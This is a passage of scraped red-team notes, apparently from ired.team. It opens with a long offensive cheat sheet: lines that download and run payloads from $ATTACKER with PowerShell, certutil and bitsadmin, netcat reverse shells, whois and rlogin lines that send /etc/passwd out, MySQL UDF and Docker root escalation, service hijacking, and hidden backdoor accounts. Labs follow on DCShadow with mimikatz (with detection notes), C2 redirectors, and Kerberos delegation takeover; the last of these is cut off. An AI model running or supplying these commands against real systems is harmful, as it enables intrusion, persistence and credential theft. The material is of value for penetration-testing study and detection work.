/v RunAsPPL Copy # We're interested in modules without protection, Read & Execute permissions !mona modules Copy !mona find -s "\xFF\xE4" -m moduleName Copy fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip Copy # Linux python -m SimpleHTTPServer 80 python3 -m http.server ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" php -S 0.0.0.0:80 Copy gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc Copy use mysql; create table npn(line blob); insert into npn values(load_file('/tmp/raptor_udf2.so')); select * from npn into dumpfile '/usr/lib/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so'; select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell'); Copy echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh Copy echo "root:spotless" | chpasswd Copy #TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp service atftpd start # Windows tftp -i $ATTACKER get /download/location/file /save/location/file Copy # Linux: set up ftp server with anonymous logon access; twistd -n ftp -p 21 -r /file/to/serve # Windows shell: read FTP commands from ftp-commands.txt non-interactively; echo open $ATTACKER>ftp-commands.txt echo anonymous>>ftp-commands.txt echo whatever>>ftp-commands.txt echo binary>>ftp-commands.txt echo get file.exe>>ftp-commands.txt echo bye>>ftp-commands.txt ftp -s:ftp-commands.txt # Or just a one-liner (echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd Copy certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe Copy Copy python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')" Copy powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" } powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" } powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe'); # download using default proxy credentials and launch powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" } Copy cscript wget.vbs http://$ATTACKER/file.exe localfile.exe Copy wget http://$ATTACKER/file curl http://$ATTACKER/file -O scp ~/file/file.bin user@$TARGET:tmp/backdoor.py Copy # Attacker nc -l -p 4444 < /tool/file.exe # Victim nc $ATTACKER 4444 > file.exe Copy # 1. In Linux, convert binary to hex ascii: wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt # 2. Paste nc.txt into Windows Shell. Copy cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe Copy echo GetObject("script:https://bad.com/code.js") > code.js && wscript.exe code.js Copy Copy # attacker nc -l -v -p 43 | sed "s/ //g" | base64 -d # victim whois -h $attackerIP -p 43 `cat /etc/passwd | base64` Copy cancel -u "$(cat /etc/passwd)" -h ip:port Copy rlogin -l "$(cat /etc/passwd)" -p port host Copy #!/bin/bash for lastOctet in {1..254}; do ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 & done Copy encrypted = "encrypted-string-here" for i in range(0,255): print("".join([chr(ord(e) ^ i) for e in encrypted])) Copy # Python '\\'.join([ "x{:02x}".format(i) for i in range(1,256) ]) Copy # Bash for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r" Copy python pyinstaller.py --onefile convert-to-exe.py Copy nc -nvv -w 1 -z host 1000-2000 nc -nv -u -z -w 1 host 160-162 Copy masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0 Copy # Look for SERVICE_ALL_ACCESS in the output accesschk.exe /accepteula -uwcqv "Authenticated Users" * sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= "" sc qc [service_name] (to verify!) sc start [service_name] Copy icacls.exe C:\folder /findsid userName-or-*sid /t //look for (F)ull, (M)odify, (W)rite Copy reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated Copy c:\unattend.xml c:\sysprep.inf c:\sysprep\sysprep.xml dir c:\*vnc.ini /s /b dir c:\*ultravnc.ini /s /b dir c:\ /s /b | findstr /si *vnc.ini findstr /si password *.txt | *.xml | *.ini findstr /si pass *.txt | *.xml | *.ini dir /s *cred* == *pass* == *.conf # Windows Autologon reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # VNC reg query "HKCU\Software\ORL\WinVNC3\Password" # Putty reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Registry reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s Copy wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """ Copy # cmd sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= "" # powersehll New-Service -Name EvilName -DisplayName EvilSvc -BinaryPathName "'C:\Program Files\NotEvil\back.exe'" -Description "Not at all" Copy # Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER # Scenario: access a host that's being blocked by a firewall via SSH_SERVER; ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER Copy # Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER # Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box; ssh -D 127.0.0.1:8080 user@SSH_SERVER Copy # Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389 # Scenario: expose RDP on non-routable network; ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP Copy # Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128 # Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it; proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555 ssh user@127.0.0.1 -p 5555 Copy # Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22 hts -F localhost:22 80 # Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80 htc -F 8080 192.168.1.15:80 # Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22 ssh localhost -p 8080 Copy # requires admin netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport Copy # Requires PSRemoting $username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami } # without PSRemoting cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force)) # without PS Remoting, with arguments cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))" Copy # Requires interactive console runas /user:userName cmd.exe Copy psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe Copy pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe Copy dir /A:H /s "c:\program files" Copy # Query the local db for a quick file find. Run updatedb before executing locate. locate passwd # Show which file would be executed in the current environment, depending on $PATH environment variable; which nc wget curl php perl python netcat tftp telnet ftp # Search for *.conf (case-insensitive) files recursively starting with /etc; find /etc -iname *.conf Copy hivesh /registry/file Copy Copy-Item 'C:\Program Files (x86)\Microsoft\Remote Desktop Connection Manager\RDCMan.exe C:\temp\RDCMan.dll’ Import-Module C:\temp\RDCMan.dll $EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings [RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings) Copy wine vncpwdump.exe -k key Copy net user spotless spotless /add & net localgroup Administrators spotless /add Copy reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f Copy mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys Copy echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd # Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali" sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2 Copy useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser Copy openssl passwd -1 password # output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5. Copy # Launch evil.exe every 10 minutes schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe Copy rundll32 c:\windows\system32\ieframe.dll,OpenURL c:\temp\test.url Copy [internetshortcut] url=c:\windows\system32\calc.exe --- # DCShadow - Becoming a Rogue Domain Controller | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow.md) . DCShadow allows an attacker with enough privileges to create a rogue Domain Controller and push changes to the DC Active Directory objects. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- For this lab, two shells are required - one running with `SYSTEM` privileges and another one with privileges of a domain member that is in `Domain admins` group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJjXyfdkTQyzJhifKIt%252F-LJjY-mOdiUf3J4dwpWf%252Fdcshadow-privileges.png%3Falt%3Dmedia%26token%3Dce97cd8f-e8cd-404c-9e9a-a9e5d2c73665&width=768&dpr=3&quality=100&sign=90272f5f&sv=2) In this lab, I will be trying to update the AD object of a computer `pc-w10$`. A quick way to see some of its associated properties can be achieved with the following powershell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJjVrbxM-cGEM-Z8Sub%252F-LJjVvinH0mo71Dof2z9%252Fdcshadow-computer-properties.png%3Falt%3Dmedia%26token%3D3f625a13-94bf-4781-adc5-1e5acfff29bb&width=768&dpr=3&quality=100&sign=13c5f1ef&sv=2) Note the `badpwcount` property which we will try to change with DCShadow by setting the value to 9999: We can now push the change to the primary Domain Controller `DC-MANTVYDAS`: Below are the screenshots of the above commands and their outputs as well as the end result, indicating the `badpwcount`value getting changed to 9999: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJjVrbxM-cGEM-Z8Sub%252F-LJjVviol-7v0bxlvdhz%252Fdcshadow-computer-properties-changed.png%3Falt%3Dmedia%26token%3De6318ecf-1ea7-44ca-a374-4eda6a324829&width=768&dpr=3&quality=100&sign=593724b9&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow#observations) Observations ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- As suggested by Vincent Le Toux who co-presented the [DCShadow](https://www.youtube.com/watch?v=KILnU4FhQbc) , in order to detect this type of rogue activity, you could monitor the network traffic and suspect any non-DC hosts (our case it is the PC-W10$ with `10.0.0.7`) issuing RCP requests to DCs (our case DC-MANTVYDAS with `10.0.0.6`) as seen below: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJjcT3M05BJC-LM990G%252F-LJjcWqgR7ON1X_8Hzh_%252Fdcshadow-traffic.png%3Falt%3Dmedia%26token%3Dc1729e10-a625-4bf7-971b-708d31ed2ea3&width=768&dpr=3&quality=100&sign=4278d7be&sv=2) Same for the logs, if you see a non-DC host causing the DC to log a `4929` event (Detailed Directory Service Replication), you may want to investigate what else is happening on that system: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJjfgHyTkJ7_kLRSOID%252F-LJjjCG1iC852bjFMoaX%252Fdcshadow-logs.png%3Falt%3Dmedia%26token%3Df4dddcf6-87e2-434c-b03a-2a829081dacf&width=768&dpr=3&quality=100&sign=6451e62a&sv=2) Current implementation of DCShadow in mimikatz creates a new DC and deletes its associated objects when the push is complete in a short time span and this pattern could potentially be used to trigger an alert, since creation of a new DC, related object modifications and their deletion all happening in 1-2 seconds time frame sound anomalous. Events `4662` may be helpful for identifying this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJk2jeIqG09PgTsZThd%252F-LJk96HM2cjsRgkGXEu9%252Fdcshadow-createobject.png%3Falt%3Dmedia%26token%3D1b8b0264-1bec-4d21-bf33-58bd5adf8767&width=768&dpr=3&quality=100&sign=c4aa4c21&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJk2jeIqG09PgTsZThd%252F-LJk9e1ZN4ie0Rf01m3j%252Fdcshadow-delete1.png%3Falt%3Dmedia%26token%3D70b2b36b-4d9f-449c-944e-fc00a07df748&width=768&dpr=3&quality=100&sign=6721636b&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJk2jeIqG09PgTsZThd%252F-LJk9gb3M7TdkXZe1EKz%252Fdcshadow-delete2.png%3Falt%3Dmedia%26token%3Dbec107b6-57e9-42bb-a2d5-7245860779b7&width=768&dpr=3&quality=100&sign=7c87977f&sv=2) Per [Luc Delsalle](https://blog.alsid.eu/@lucd?source=post_header_lockup) 's post on DCShadow explanation, one other suggestion for detecting rogue DCs is the idea that the computers that expose an RPC service with a GUID of `E3514235–4B06–11D1-AB04–00C04FC2DCD2`, but do not belong to a `Domain Controllers` Organizational Unit, should be investigated. We see that our suspicious computer exposes that exact service: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJopOhhHbIFR8EiqpUy%252F-LJor2wd63PpCjm0k0fp%252Fdcshadow-services.png%3Falt%3Dmedia%26token%3Dc429044a-ddad-4d08-b877-c5a5922c7648&width=768&dpr=3&quality=100&sign=ff64bffa&sv=2) ..but does not belong to a `Domain Controllers` OU: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LJopOhhHbIFR8EiqpUy%252F-LJoplkjHLF16doWI9dy%252Fdcshadow-ou-dc.png%3Falt%3Dmedia%26token%3D567b0b27-fa17-487f-b91f-e9f36fdff541&width=768&dpr=3&quality=100&sign=7c743487&sv=2) Outputs for computer NOT belonging to DC OU and one belonging, respecitvely [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Below are the resources related to DCShadow attack. Note that there is also a link to youtube by a security company Alsid, showing how to dynamically detect DCShadow, so please watch it. [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)Rogue Domain Controller, Technique T1207 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1207) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.dcshadow.com%2Fmimikatz.ico&width=20&dpr=3&quality=100&sign=2e3ff5eb&sv=2)lsadump::dcshadow /pushmysmartlogon](https://www.dcshadow.com/) [https://www.youtube.com/watch?v=yWFUKwZaT\_4www.youtube.com](https://www.youtube.com/watch?v=yWFUKwZaT_4) Dynamic Detection of DCShadow [https://github.com/AlsidOfficial/UncoverDCShadowgithub.com](https://github.com/AlsidOfficial/UncoverDCShadow) [DCShadow - Minimal permissions, Active Directory Deception, Shadowception and morewww.labofapenetrationtester.com](http://www.labofapenetrationtester.com/2018/04/dcshadow.html) [https://blog.alsid.eu/dcshadow-explained-4510f52fc19dblog.alsid.eu](https://blog.alsid.eu/dcshadow-explained-4510f52fc19d) [PreviousDomain Compromise via DC Print Server and Kerberos Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) [NextDCSync: Dump Password Hashes from Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow#execution) * [Observations](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow#observations) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow#references) Copy PS c:\> ([adsisearcher]"(&(objectCategory=Computer)(name=pc-w10))").Findall().Properties mimikatz@NT/SYSTEM console Copy mimikatz # lsadump::dcshadow /object:pc-w10$ /attribute:badpwdcount /value=9999 mimikatz@Domain Admin console Copy lsadump::dcshadow /push Copy ([adsisearcher]"(&(objectCategory=computer)(name=pc-w10))").Findall().Properties.distinguishedname # or (Get-ADComputer pc-w10).DistinguishedName --- # HTTP Forwarders / Relays | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders.md) . [](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#purpose) Purpose ---------------------------------------------------------------------------------------------------------------- Re-directors or traffic forwarders are essentially proxies between the red teaming server (say the one for sending phishing emails or a C2) and the victim - `victim <> re-director <> team server` The purpose of the re-director host is as usual: * Obscure the red teaming server by concealing its IP address. In other words - the victim will see traffic coming from the re-director host rather than the team server. * If incident responders detect suspicious activity originating from the redirector, it can be "easily" decommissioned and replaced with another one, which is "easier" than rebuilding the team server. [](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#http-forwarding-with-iptables) HTTP Forwarding with iptables ------------------------------------------------------------------------------------------------------------------------------------------------------------ I will explore simple HTTP forwarders which are just that - they simply listen on a given interface and port and forward all the traffic they receive on that port, to a listener port on the team server. My environment in this lab: * Team server and a listening port: `10.0.0.2:80` * Re-director host and a listening port: `10.0.0.5:80` * Victim host: `10.0.0.11` An easy way to create an HTTP re-director is to use a Linux box and its iptables capability. Below shows how to turn a Linux box into an HTTP re-director. In this case, all the HTTP traffic to `10.0.0.5:80` (redirector) will be forwarded to `10.0.0.2:80` (team server) : Copy iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.2:80 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1 Checking that the iptables rules were created successfully: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNgY1oeW_M7Ex2MKcvs%252F-LNgYwYFPYwWwAiHGET_%252Fredirectors-iptables.png%3Falt%3Dmedia%26token%3D126e913f-8cd1-445c-bd13-52ead7aa2465&width=768&dpr=3&quality=100&sign=137a9b1&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#testing-iptables) Testing iptables Let's simulate a simplified reverse shell from the victim system 10.0.0.11 to the attacking system 10.0.0.2 using our redirector system 10.0.0.5 as a proxy and inspect the traffic crossing over the wire - if the redirector was setup correctly, we should see that systems 10.0.0.11 and 10.0.0.2 will not be communicating directly - all the traffic will be flowing through the box at 10.0.0.5 and 10.0.0.2 (attacking system) will not be visible to the victim 10.0.0.11: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNkyzj19g6GMswoEMQ_%252F-LNkzGUImVpeA331SSjv%252Fredirector.gif%3Falt%3Dmedia%26token%3Dbc78a317-36d7-4c92-9414-0b4e99dedb4f&width=768&dpr=3&quality=100&sign=772afc0d&sv=2) Having a closer look at the traffic/conversations between the endpoints, we can clearly see that at no point the victim system 10.0.0.11 communicated directly with the attacking system 10.0.0.2 - all communications were flowing through the redirector host 10.0.0.5 as described earlier: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNkyzj19g6GMswoEMQ_%252F-LNkzI3tcZ1AnNOrrw76%252Fredirector-conversations.png%3Falt%3Dmedia%26token%3D9177c75b-e780-47a7-9e3d-89f1932f8e86&width=768&dpr=3&quality=100&sign=76f3ae9c&sv=2) 4KB [redirector.pcapng](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LNkyzj19g6GMswoEMQ_%2F-LNl0-ucdX8Z_-geWFzd%2Fredirector.pcapng?alt=media&token=7fec51ff-8478-4c7c-bbff-023ec0713042) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LNkyzj19g6GMswoEMQ_%2F-LNl0-ucdX8Z_-geWFzd%2Fredirector.pcapng?alt=media&token=7fec51ff-8478-4c7c-bbff-023ec0713042) Redirector Network Trace [](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#http-forwarding-with-socat) HTTP Forwarding with SOCAT ------------------------------------------------------------------------------------------------------------------------------------------------------ SOCAT is another tool that can be used to do the "dumb pipe" traffic forwarding. The environment in this exercise remains the same as in the previous scenario. Setting up an HTTP redirector with socat: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LNl6Sz7IudTkhjVlwDS%252F-LNlJ6fFg8E9Ie9vWVH_%252Fredirector-socat.gif%3Falt%3Dmedia%26token%3D311c5bca-6293-4950-b0c7-01e213cb3d21&width=768&dpr=3&quality=100&sign=d474a935&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#references) References ---------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - bluscreenofjeff/Red-Team-Infrastructure-Wiki: Wiki to collect Red Team infrastructure hardening resourcesGitHub](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#https) [https://www.frozentux.net/iptables-tutorial/chunkyhtml/x4033.htmlwww.frozentux.net](https://www.frozentux.net/iptables-tutorial/chunkyhtml/x4033.html) [Chapter 14. iptables firewalllinux-training.be](http://linux-training.be/networking/ch14.html) [Some useful socat commandstechnostuff.blogspot.com](http://technostuff.blogspot.com/2008/10/some-useful-socat-commands.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fstatic.thegeekstuff.com%2Fwp-content%2Fuploads%2F2015%2F05%2Ffavicon.ico.gzip&width=20&dpr=3&quality=100&sign=36d1c1d2&sv=2)Linux Firewall Tutorial: IPTables Tables, Chains, Rules FundamentalsThe Geek Stuff](https://www.thegeekstuff.com/2011/01/iptables-fundamentals/) [PreviousRed Team Infrastructure](https://www.ired.team/offensive-security/red-team-infrastructure) [NextSMTP Forwarders / Relays](https://www.ired.team/offensive-security/red-team-infrastructure/smtp) Last updated 7 years ago * [Purpose](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#purpose) * [HTTP Forwarding with iptables](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#http-forwarding-with-iptables) * [Testing iptables](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#testing-iptables) * [HTTP Forwarding with SOCAT](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#http-forwarding-with-socat) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders#references) Copy socat TCP4-LISTEN:80,fork TCP4:10.0.0.2:80 --- # Kerberos Resource-based Constrained Delegation: Computer Object Takeover | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution.md) . It's possible to gain code execution with elevated privileges on a remote computer if you have WRITE privilege on that computer's AD object. This lab is based on a video presented by [@wald0](https://twitter.com/_wald0?lang=en) - [https://www.youtube.com/watch?v=RUbADHcBLKg&feature=youtu.be](https://www.youtube.com/watch?v=RUbADHcBLKg&feature=youtu.be) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#overview) Overview --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- High level overview of the attack as performed in the lab: * We have code execution on the box `WS02` in the context of `offense\sandy` user; * User `sandy` has `WRITE` privilege over a target computer `WS01`; * User `sandy` creates a new computer object `FAKE01` in Active Directory (no admin required); * User `sandy` leverages the `WRITE` privilege on the `WS01` computer object and updates its object's attribute `msDS-AllowedToActOnBehalfOfOtherIdentity` to enable the newly created computer `FAKE01` to impersonate and authenticate any domain user that can then access the target system `WS01`. In human terms this means that the target computer `WS01` is happy for the computer `FAKE01` to impersonate any domain user and give them any access (even Domain Admin privileges) to `WS01`; * `WS01` trusts `FAKE01` due to the modified 